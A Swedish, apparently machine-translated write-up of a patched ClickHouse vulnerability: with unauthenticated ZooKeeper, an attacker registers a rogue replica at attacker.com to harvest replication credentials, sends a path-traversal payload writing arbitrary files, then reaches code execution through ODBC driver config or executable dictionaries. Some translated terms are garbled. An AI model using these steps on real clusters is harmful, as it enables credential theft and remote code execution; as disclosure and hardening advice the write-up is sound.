Varför måste du hålla djurparksburar stängda?

Varför måste du hålla djurparksburar stängda?

Den här artikeln kommer att berätta historien om en mycket specifik sårbarhet i ClickHouse replikeringsprotokoll, och kommer också att visa hur attackytan kan utökas.

ClickHouse är en databas för att lagra stora datamängder, oftast med mer än en replik. Klustring och replikering i ClickHouse byggs ovanpå Apache ZooKeeper (ZK) och kräver skrivrättigheter.

Standard ZK-installationen kräver inte autentisering, så tusentals ZK-servrar som används för att konfigurera Kafka, Hadoop, ClickHouse är allmänt tillgängliga.

För att minska din attackyta bör du alltid konfigurera autentisering och auktorisering när du installerar ZooKeeper

Det finns givetvis några 0day-baserade Java-deserialiseringar, men tänk dig att en angripare kunde läsa och skriva till ZooKeeper, som används för ClickHouse-replikering.

När den är konfigurerad i klusterläge stöder ClickHouse distribuerade frågor DDL, passerar genom ZK - för dem skapas noder i arket /clickhouse/task_queue/ddl.

Till exempel skapar du en nod /clickhouse/task_queue/ddl/query-0001 med innehåll:

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

och efter det kommer testtabellen att raderas på klusterservrarna host1 och host2. DDL stöder även att köra CREATE/ALTER/DROP-frågor.

Låter det läskigt? Men var kan en angripare få serveradresser?

ClickHouse replikering fungerar på nivån för enskilda tabeller, så att när en tabell skapas i ZK anges en server som ska ansvara för utbyte av metadata med repliker. Till exempel, när du kör en begäran (ZK måste konfigureras, chXX - namnet på kopian, Foo bar - tabellnamn):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

noder kommer att skapas kolonner и metadata.

Innehåll /clickhouse/tables/01/foobar/replicas/chXX/hosts:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Är det möjligt att slå samman data från detta kluster? Ja, om replikeringsporten (TCP/9009) på servern chXX-address brandväggen kommer inte att stängas och autentisering för replikering kommer inte att konfigureras. Hur kringgår man autentisering?

En angripare kan skapa en ny replik i ZK genom att helt enkelt kopiera innehållet från /clickhouse/tables/01-01/foobar/replicas/chXX och ändra innebörden host.

Innehåll /clickhouse/tables/01–01/foobar/replicas/attacker/host:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Sedan måste du berätta för de andra replikerna att det finns ett nytt datablock på angriparens server som de måste ta - en nod skapas i ZK /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX monotont växande räknare, som bör vara större än den sista i händelseloggen):

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

där source_replica — namnet på angriparens replik som skapades i föregående steg, block_id — datablockidentifierare, skaffa sig - kommandot "get block" (och här är kommandon för andra operationer).

Därefter läser varje replik en ny händelse i loggen och går till en server som kontrolleras av angriparen för att ta emot ett datablock (replikeringsprotokollet är binärt och körs ovanpå HTTP). Server attacker.com kommer att ta emot förfrågningar:

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

där XXX är autentiseringsdata för replikering. I vissa fall kan detta vara ett konto med tillgång till databasen via huvudprotokollet ClickHouse och HTTP-protokollet. Som du har sett blir attackytan kritiskt stor eftersom ZooKeeper, som används för replikering, lämnades utan autentisering konfigurerad.

Låt oss titta på funktionen för att få ett datablock från en replik, det är skrivet med fullt förtroende att alla repliker är under korrekt kontroll och att det finns förtroende mellan dem.

Varför måste du hålla djurparksburar stängda?
replikeringsbearbetningskod

Funktionen läser en lista med filer, sedan deras namn, storlekar, innehåll och skriver dem sedan till filsystemet. Det är värt att separat beskriva hur data lagras i filsystemet.

Det finns flera underkataloger i /var/lib/clickhouse (standardlagringskatalog från konfigurationsfilen):

flaggorna - katalog för inspelning flaggor, används vid återställning efter dataförlust;
tmp — katalog för lagring av temporära filer;
user_filer — operationer med filer i begäranden är begränsade till denna katalog (INTO OUTFILE och andra);
metadata — sql-filer med tabellbeskrivningar;
preprocessed_configs - bearbetade derivatkonfigurationsfiler från /etc/clickhouse-server;
datum - den faktiska katalogen med själva data, i detta fall för varje databas skapas helt enkelt en separat underkatalog här (till exempel /var/lib/clickhouse/data/default).

För varje tabell skapas en underkatalog i databaskatalogen. Varje kolumn är en separat fil beroende på motorformat. Till exempel för ett bord Foo barskapat av en angripare kommer följande filer att skapas:

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

Repliken förväntar sig att ta emot filer med samma namn vid bearbetning av ett datablock och validerar dem inte på något sätt.

Den uppmärksamma läsaren har förmodligen redan hört talas om den osäkra sammanlänkningen av filnamn i en funktion WriteBufferFromFile. Ja, detta tillåter en angripare att skriva godtyckligt innehåll till vilken fil som helst på FS med användarrättigheter clickhouse. För att göra detta måste repliken som kontrolleras av angriparen returnera följande svar på begäran (radbrytningar har lagts till för att underlätta förståelsen):

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

och efter sammanlänkning ../../../../../../../../../tmp/pwned filen kommer att skrivas /tmp/pwned med innehåll hellofromzookeeper.

Det finns flera alternativ för att omvandla filskrivförmåga till fjärrkodexekvering (RCE).

Externa ordböcker i RCE

I äldre versioner lagrades katalogen med ClickHouse-inställningar med användarrättigheter klickhus standard. Inställningsfiler är XML-filer som tjänsten läser vid uppstart och sedan cachar in /var/lib/clickhouse/preprocessed_configs. När ändringar sker läses de igen. Om du har tillgång till /etc/clickhouse-server en angripare kan skapa sin egen extern ordbok körbar typ och exekvera sedan godtycklig kod. Aktuella versioner av ClickHouse ger inga rättigheter som standard, men om servern gradvis uppdaterades skulle sådana rättigheter kunna finnas kvar. Om du stöder ett ClickHouse-kluster, kontrollera rättigheterna till inställningskatalogen, den måste tillhöra användaren root.

ODBC till RCE

När du installerar ett paket skapas en användare clickhouse, men dess hemkatalog skapas inte /nonexistent. Men när du använder externa ordböcker, eller av andra skäl, skapar administratörer en katalog /nonexistent och ge användaren clickhouse tillgång till att skriva till det (SSZB! cirka. översättare).

ClickHouse stödjer ODBC och kan ansluta till andra databaser. I ODBC kan du ange sökvägen till databasdrivrutinsbiblioteket (.so). Äldre versioner av ClickHouse tillät dig att göra detta direkt i begäranhanteraren, men nu har en mer strikt kontroll av anslutningssträngen lagts till odbc-bridge, så det är inte längre möjligt att ange förarsökvägen från begäran. Men kan en angripare skriva till hemkatalogen med den sårbarhet som beskrivs ovan?

Låt oss skapa en fil ~/.odbc.ini med innehåll som detta:

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

sedan vid start SELECT * FROM odbc('DSN=lalala', 'test', 'test'); biblioteket kommer att laddas test.so och fick RCE (tack buglloc för tipset).

Dessa och andra sårbarheter har åtgärdats i ClickHouse version 19.14.3. Ta hand om dina ClickHouse och ZooKeepers!

Källa: will.com

Lägg en kommentar